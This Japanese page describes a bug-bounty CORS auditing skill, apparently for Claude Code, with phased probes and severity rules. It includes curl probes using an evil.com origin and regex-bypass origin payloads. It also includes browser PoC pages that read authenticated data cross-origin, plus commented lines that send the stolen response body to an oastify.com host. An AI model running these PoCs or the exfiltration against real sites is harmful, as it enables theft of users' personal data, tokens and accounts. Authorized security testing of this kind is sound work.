hunt-cors について
hunt-cors は、セキュリティテスター向けの CORS 監査スキルです。エンドポイントの発見からブラウザーでの検証までを段階的に進め、認証済みの機密データを実際のブラウザーで読めることを影響の証明として重視します。
主な機能
- 01CORS ヘッダー付きエンドポイントの発見
- 02オリジン反射と認証情報設定の確認
- 03信頼オリジン正規表現の回避テスト
- 04プリフライトとメッセージ送信元の検査
- 05実ブラウザーで読み取り影響を検証
活用シーン
- 01API のクロスオリジン読み取りリスク監査
- 02信頼オリジン正規表現の不備検証
- 03プリフライトによるクロスオリジン書き込みの確認
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ elementalsouls/ claude-bughunter --skill hunt-corsインストール後、Claude Code で/hunt-corsを入力して読み込まれたか確認します。
詳細
HUNT-CORS — クロスオリジンリソース共有の設定ミス
実際に報奨金につながるもの(つながらないもの)
CORS で高額な報奨金が得られるのは、攻撃者が制御するオリジンから、認証済みの機密データを認証情報付きでクロスオリジン読み取りでき、レスポンス本文を evil.com から読み取れることを証明するブラウザー PoC がある場合に限られます。
多くの「発見」を無効にする、ブラウザーに関する重要なルールが 2 つあります。まずはこれらを確認してください。
Access-Control-Allow-Origin: *と認証情報を併用することはできません。 サーバーがACAO: *を返す場合、ブラウザーはcredentials: includeリクエストの送信やレスポンスの公開を拒否します。ワイルドカードのみのエンドポイントは、認証情報を悪用できません。セッションなしでも配信されるデータが機密情報(まれです)である場合にのみ注目に値し、通常は参考情報または低リスクです。Access-Control-Allow-Credentials: trueだけでは意味がありません。 意味を持つのは、ACAOが攻撃者の特定のオリジンを反映または許可し、さらにクロスオリジンの認証情報付きfetchで読み取り可能な本文が実際に返される場合だけです。自分のオリジンを反映しないレスポンスに ACAC があっても、何の証明にもなりません。
実際のブラウザーで認証済みの本文をクロスオリジン読み取りできることを実証できなければ、高リスクではありません。ヘッダーの差分だけを報告しないでください。
最重要の攻撃対象
- 任意のオリジンを反映+認証情報 — サーバーが
Originヘッダーをエコーし、ACAC: trueを設定します → どのサイトからでも認証済み API のレスポンスを読み取れます。典型的な高リスクです。 - null オリジンの信頼 —
ACAO: null+ACAC: true。sandboxiframe(またはdata:/リダイレクトチェーン)はOrigin: nullを送信するため、どのページからでも認証済みデータを読み取れます。 - サブドメイン正規表現の回避 — パースに不備がある、信頼済みオリジンの正規表現。適切なペイロードは不備の種類によって異なります(フェーズ 3 を参照してください。多くのスキルで誤りが生じる部分です)。
- サブドメインの乗っ取り → 信頼済みオリジン — CORS ポリシーが信頼する、未使用のまま残されたサブドメイン。乗っ取り、そこで PoC をホストします(hunt-subdomain を参照)。
- postMessage のオリジン検証がない/緩い —
event.originを厳密に検証せず、event.dataを処理するハンドラー。
攻撃対象の兆候
Any endpoint returning an Access-Control-Allow-Origin header
API endpoints: /api/*, /v1/*, /graphql
Profile/account: /api/me, /api/profile, /api/user, /api/session
Secrets/tokens: /api/tokens, /api/keys, /api/csrf, /api/account/settings
Financial: /api/balance, /api/transactions
Admin/internal: /api/admin/*, /api/internal/*
(a) セッションクッキーが必要で、(b) 本文に PII、トークン、CSRF トークン、またはその他の秘密情報を返すエンドポイントを優先してください。
段階的な調査方法
フェーズ 1 — CORS エンドポイントの特定
# Probe API endpoints. Use GET (not -I): some servers only emit CORS on GET,
# and -I sends HEAD which may be handled differently.
while read url; do
result=$(curl -s -D - -o /dev/null "$url" \
-H "Origin: https://evil.com" \
-H "Cookie: $SESSION_COOKIE" | grep -i "access-control")
[ -n "$result" ] && echo "=== $url ===" && echo "$result"
done < recon/$TARGET/api-endpoints.txt
# httpx bulk check
cat recon/$TARGET/live-hosts.txt | awk '{print $1}' | \
httpx -H "Origin: https://evil.com" -match-string "access-control-allow-origin"
フェーズ 2 — 任意のオリジンの反映と null オリジン
# Does the server reflect an arbitrary Origin back?
curl -s -D - -o /dev/null https://$TARGET/api/me \
-H "Origin: https://evil.com" \
-H "Cookie: $SESSION_COOKIE" | grep -i "access-control"
# Vulnerable (the High case):
# Access-Control-Allow-Origin: https://evil.com <- reflects attacker origin
# Access-Control-Allow-Credentials: true <- + credentials => readable
#
# NOT exploitable for credentialed theft:
# Access-Control-Allow-Origin: * <- browser blocks creds read
# (no ACAC, or ACAC absent) <- not credentialed
# Null-origin trust
curl -s -D - -o /dev/null https://$TARGET/api/me \
-H "Origin: null" \
-H "Cookie: $SESSION_COOKIE" | grep -i "access-control"
# Looking for: Access-Control-Allow-Origin: null + ACAC: true
フェーズ 3 — サブドメイン/信頼済みオリジンの正規表現バイパス
適切なペイロードは、サーバーにどの正規表現の不備があるかによって異なります。まず不備の種類を特定してから、一致するペイロードを送信してください。間違えるとテストが無駄になり、偽陰性が発生します。
サーバーの正規表現(意図:*.target.com を信頼する) | 不備 | 一致するバイパス用オリジン | 理由 |
|---|---|---|---|
^https?://.*\.target\.com$ | なし — ドットがエスケープされ、末尾アンカーがあります。正しい設定です。 | (単純なバイパスなし) | evil.target.com は設計上スコープ内です。x.target.com.evil.com は末尾が .evil.com のため、$ に一致しません。次に進むか、サブドメインテイクオーバーを探してください。 |
^https?://.*target\.com$ | ドット区切りがない(target の前に \. がない) | https://eviltarget.com | .*target\.com$ は eviltarget.com に一致します。攻撃者は eviltarget.com を登録します。 |
^https?://.*\.target\.com | 末尾アンカー $ がない | https://x.target.com.evil.com | 正規表現は先頭部分に一致します。.target.com が現れた後、末尾アンカー $ がないため .evil.com は無視されます。 |
^https?://target\.com | 先頭部分のみで、$ がない | https://target.com.evil.com | target.com の先頭部分に一致し、残りは制限されません。 |
^https?://.*\.target\.com$ だが、正規表現内のドットがエスケープされていない(.*.target.com$) | エスケープされていないドット=「任意の文字」 | https://xtargetXcom... のようなもの、または Z が任意の 1 文字である https://evilZtargetZcom | . は任意の文字に一致するため、一致範囲が広がります。 |
| 上記のいずれか | ブラウザーが Origin に送信する特殊文字 | https://target.com%60.evil.com、https://target.com\x60evil.com | 一部のパーサーはバッククォート/アンダースコアを文字として扱います。Safari/旧バージョンのブラウザーでは、通常と異なるオリジンが送信される場合があります。ブラウザーが実際にそれを送信することを確認してください。 |
# Send each class-specific payload and watch what the server reflects.
for ORIGIN in \
"https://evil.target.com" \
"https://eviltarget.com" \
"https://x.target.com.evil.com" \
"https://target.com.evil.com" \
"https://target.com%60.evil.com" \
"http://target.com"; do
RESULT=$(curl -s -D - -o /dev/null "https://$TARGET/api/me" \
-H "Origin: $ORIGIN" \
-H "Cookie: $SESSION_COOKIE" | grep -i "access-control")
echo "[$ORIGIN] -> ${RESULT:-no CORS}"
done
サーバーが ACAC: true とともに、自分が登録可能なオリジンを ACAO に反映した場合にのみ、バイパスは実在します。evil.target.com が反映されても、*.target.com のホストを実際に制御できない限りバグではありません(その場合はフェーズ 6/hunt-subdomain を参照)。
フェーズ 3b — 信頼された安全でない(HTTP)オリジン
ACAC:true を伴って、ACAO が任意の http:// オリジン(正しくアンカーされ、スコープ内のオリジンであっても)を反映/許可する場合、その平文ホスト上のネットワーク攻撃者は、認証済みのクロスオリジン応答本文を読み取るページを挿入できます。正規表現の不備は必要ありません。平文スキーム自体が不備です。
curl -s -D- -o/dev/null "https://$TARGET/api/me" -H "Origin: http://sub.$TARGET" -H "Cookie: $SESSION" | grep -i access-control
MITM がその http オリジンを利用できる場合(HSTS プリロードされていない場合)にのみ実際の問題となります。hunt-tls-network と組み合わせてください。(PortSwigger:信頼された安全でないプロトコルを使った CORS。)
フェーズ 4 — プリフライト(OPTIONS)ゲートのバイパス
単純でないリクエスト(カスタムヘッダー、PUT/DELETE/PATCH、単純でない
Content-Type)では、CORS のプリフライト OPTIONS が発生します。ブラウザーが実際のリクエストを送信するのは、プリフライトのレスポンスがメソッド/ヘッダーを許可した場合のみです。テストする点は 2 つあります。
- プリフライトは、任意のメソッド/ヘッダーを自分のオリジンに許可しますか?
Access-Control-Allow-Methods/Access-Control-Allow-Headersがリクエストした内容を何でも反映する場合、悪意のあるオリジンは、状態を変更するリクエストを実行できます(JSON/SameSite なら通常はブロックされる、CSRF 形式の書き込みにつなげられます)。
curl -s -D - -o /dev/null -X OPTIONS "https://$TARGET/api/account/email" \
-H "Origin: https://evil.com" \
-H "Access-Control-Request-Method: PUT" \
-H "Access-Control-Request-Headers: x-custom-auth, content-type" \
| grep -i "access-control"
# Vulnerable: ACAO reflects evil.com + ACAC:true +
# Access-Control-Allow-Methods: PUT + Access-Control-Allow-Headers: x-custom-auth
# => attacker origin can issue authed PUT/DELETE with custom headers.
- プリフライトはサーバー側で実際に適用されていますか? 一部のサーバーは、
OPTIONSではオリジンを反映しますが、実際の GET/POST でも反映します。読み取り経路のほうが 問題であり、プリフライトは書き込み経路に到達できることを確認するだけです。GET/POST も 直接テストしてください。プリフライトの結果が実際のリクエストの結果と同じだと 決めつけないでください。curl は CORS を完全に無視するため、ブラウザーで確認してください。
フェーズ 5 — ブラウザー PoC(影響を証明する唯一の手段)
curl は CORS を適用しません。ブラウザーでは読み取りがブロックされる場合でも、反射されたヘッダーをそのまま表示します。CORS の High 判定には、すべてブラウザー PoC が必要です。
5a. 任意のオリジンを反射して読み取る(evil.com でホストし、対象にログインした状態で開きます):
<!doctype html><body><pre id="out"></pre>
<script>
fetch("https://TARGET/api/me", {credentials: "include"})
.then(r => r.text())
.then(d => {
document.getElementById("out").innerText = d; // prove readable body
// OOB proof: fetch("https://OOB-ID.oastify.com/?d="+encodeURIComponent(d));
})
.catch(e => document.getElementById("out").innerText = "BLOCKED: " + e);
</script></body>
BLOCKED または TypeError が表示される場合、ブラウザーが読み取りを拒否しています。curl の結果にかかわらず、有効な指摘ではありません(これは ACAO: * と認証情報の組み合わせに該当します)。
5b. null オリジンで読み取る — sandbox iframe は Origin: null を送信します。内側のドキュメントでは allow-same-origin を指定せず、オリジンを不透明な状態(null)にする必要があります。
<!doctype html><body>
<iframe sandbox="allow-scripts" srcdoc='
<script>
fetch("https://TARGET/api/me", {credentials: "include"})
.then(r => r.text())
.then(d => parent.postMessage(d, "*"));
</script>'></iframe>
<script>
window.addEventListener("message", e => {
// d is the authed body, read cross-origin via a null Origin
// fetch("https://OOB-ID.oastify.com/?d="+encodeURIComponent(e.data));
console.log("NULL-ORIGIN READ:", e.data);
});
</script></body>
(null オリジンを送信する別の方法:data: / blob: ドキュメントを使う、または最終ホップが異なるスキームになる 302 リダイレクトチェーンを経由させます。)
5c. 信頼されたサブドメインから読み取る — 正規表現が信頼するホストを制御できるようになったら(テイクオーバーした実際のサブドメイン、またはフェーズ 3 の不具合のある正規表現に一致する登録可能なオリジン)、そこで 5a をホストします。反射されるオリジンは、正当に提供しているオリジンになるため、ブラウザーは読み取りを許可します。
フェーズ 6 — postMessage のオリジンチェック
# Find message handlers that don't strictly validate event.origin.
grep -rEn "addEventListener\(['\"]message" recon/$TARGET/ --include="*.js" \
| grep -v "\.origin"
# Then audit each hit: does it check event.origin against an allowlist
# BEFORE using event.data? Weak checks to flag:
# .indexOf("target.com") > -1 <- "target.com.evil.com" passes
# .endsWith("target.com") <- "eviltarget.com" passes
# startsWith("https://target") <- "https://target.evil.com" passes
# no check at all
postMessage は HTTP CORS とは別の種類で、影響は DOM 側に生じます(XSS、クライアント側の認証バイパス)。悪用の詳細については hunt-dom を参照してください。
自動化(トリアージのみ — 証明には使わない)
# corsy — fast reflection/null/pre-domain checks
pip3 install corsy
corsy -u https://$TARGET -t 10 --headers "Cookie: $SESSION_COOKIE"
# nuclei CORS templates
nuclei -u https://$TARGET -t http/misconfiguration/cors/
# Burp: passively flags origin reflection; always re-confirm in a real browser.
自動化で検出したものはすべて手掛かりであり、指摘ではありません。ブラウザーで 5a / 5b を再現してください。
チェーン表
| CORS の指摘 | チェーン先 | 影響 |
|---|---|---|
| 攻撃者のオリジンを反射し、認証情報を許可する | ブラウザーで /api/me、/api/tokens、/api/csrf を読み取る | PII + トークン + CSRF トークンの窃取 → 多くの場合 ATO |
| オリジンを反射し、CSRF トークンを読み取る | hunt-csrf:トークンを窃取 → 状態変更を偽造 | CSRF 対策済みフォームに対する CSRF |
| プリフライトで任意のメソッド/ヘッダーを許可する | evil origin から認証済みの PUT / DELETE を実行 | クロスオリジンの状態変更 |
| 信頼されたサブドメインに XSS がある | hunt-xss → 信頼されたオリジンから 5a を実行 | 認証情報を伴う読み取りを確実に実行 |
| 信頼されたサブドメインが放置されている | hunt-subdomain takeover → そこで 5c をホスト | 認証情報を伴う完全な読み取り |
| postMessage のオリジンチェックがない/緩い | hunt-dom:iframe を注入し、細工したメッセージを送信 | DOM XSS /クライアント側の認証バイパス |
検証の手順(提出前に読むこと)
- ブラウザーでの証明が必須です。 curl でヘッダーが反射されても、悪用の証明にはなりません。
evil.comから認証済みのレスポンス本文を読み取ったスクリーンショットまたはコンソールログを提示してください。fetch がエラーを出す、またはBLOCKEDを記録する場合、報告できるものはありません。 ACAO: *と認証情報の組み合わせは指摘になりません。 ブラウザーがブロックします。ワイルドカードを追跡するのは、認証なしでも機密データを取得できる場合に限ります(この場合、通常は Low です)。ACAC: trueだけでは何も証明できません — 反射されたオリジンと組み合わせたうえで、クロスオリジンのレスポンス本文を読み取れることが必要です。- ペイロードを正規表現の種類に合わせてください(フェーズ 3)。 エスケープされたドットで末尾が固定された正規表現に対して
target.com.evil.comを提出しないでください。一致せず、バグでもありません。 evil.target.comが反射されても、自動的にバグとは限りません — 実際に制御できない限り、設計上、スコープ内のサブドメインです。- ブラインド/ヘッドレス環境では OOB で確認します:読み取った本文を Burp Collaborator / oastify ホストに外部送信し、インタラクションを提示してください。ヒットが自分のテストによるものと明確に判別できるよう、テストごとに一意のマーカーを使ってください。
- 機密データが必要です。
/api/healthを読み取れるだけでは High ではありません。深刻度を正当化するには、PII、トークン、シークレット、または財務データの読み取りを示してください。
深刻度:
- 攻撃者のオリジンを反射し、認証情報と機密データを取得でき、ブラウザーで証明済み:High
- プリフライトによって、攻撃者のオリジンから機密操作の状態変更が許可される:High
- null オリジンから認証済みの機密データを取得でき、ブラウザーで証明済み:Medium–High
- サブドメインテイクオーバー/XSS を介して、認証情報を伴う読み取りが可能:High/Critical
- オリジンを反射するが、認証情報がない/機密データではない:Low–Informational
ACAO: *のみ(認証情報を利用できない):データがシークレットでない限り Informational